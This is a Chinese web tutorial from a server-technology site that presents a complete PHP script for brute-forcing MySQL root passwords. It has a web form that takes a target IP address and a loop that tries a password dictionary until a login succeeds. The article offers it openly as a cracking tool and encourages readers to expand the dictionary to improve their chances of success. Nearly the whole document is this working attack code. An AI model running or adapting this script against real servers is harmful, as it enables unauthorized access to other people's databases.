服务器之家:专注于服务器技术及软件下载分享
分类导航

Mysql|Sql Server|Oracle|Redis|MongoDB|PostgreSQL|Sqlite|DB2|mariadb|Access|数据库技术|

服务器之家 - 数据库 - Mysql - PHP版Mysql爆破小脚本

PHP版Mysql爆破小脚本

2020-06-28 15:22MYSQL教程网 Mysql

本文给大家分享的是使用php实现暴力破解mysql的小脚本代码,非常的好用,有需要的小伙伴可以参考下

Mysql PHP版本爆破小脚本

(注意:从代码可以看出用户名是个变量,一般数据库账号不会变,所以用户名没用数组作为字典。密码是用数组作为字典。字典可根据规矩扩展,破解的成功与失败,就看你扩展的字典强大不强大了。用法:保存代码为MysqlDatabaseBlasting.php,浏览器打开就可使用。 )

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/*
 *  author:Bearcat 2016-10-5
 */
<html>
 <head>
  <title>Mysql账号密码爆破工具</title>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 </head>
 <body>
  <center>
   <br><br>
   <h1>MysqlDatabaseBlasting(Mysql账号密码在线爆破工具 V1.0)</h1>
  <br>
<?php
 if(@$_POST['submit']){
   $host = @$_POST['host'];
   if($host!=""){
    $username = "root";//用户名字典
    $password = array('','123456','admin','root','ccf304vn'); //密码字典
    echo "<hr><br>--------------------爆破状态--------------------<br>";
    echo "密码错误次数:";
    for ($i=0; $i <= count($password); $i++) {
     if(@mysql_connect($host, $username, $password[$i])){
       echo "<br><br><font color='red'>爆破成功--密码-->".@$password[$i]."</font>";
       break;
     }else{
       echo $i."、";
       continue;
     }
    }
    echo "<br>--------------------爆破结束--------------------<br><hr>";
   }else{
    echo "<script>alert('黑客,输入数据库IP地址')</script>";
   }
 }
?>
<br><br><br><br>
  <form action="MysqlDatabaseBlasting.php" method="post">
   数据库IP地址:<input type="text" name="host"/>
   <input type="submit" value="爆破" name="submit"/>
  </form>
<center>
</body>
 </html>

 

延伸 · 阅读

精彩推荐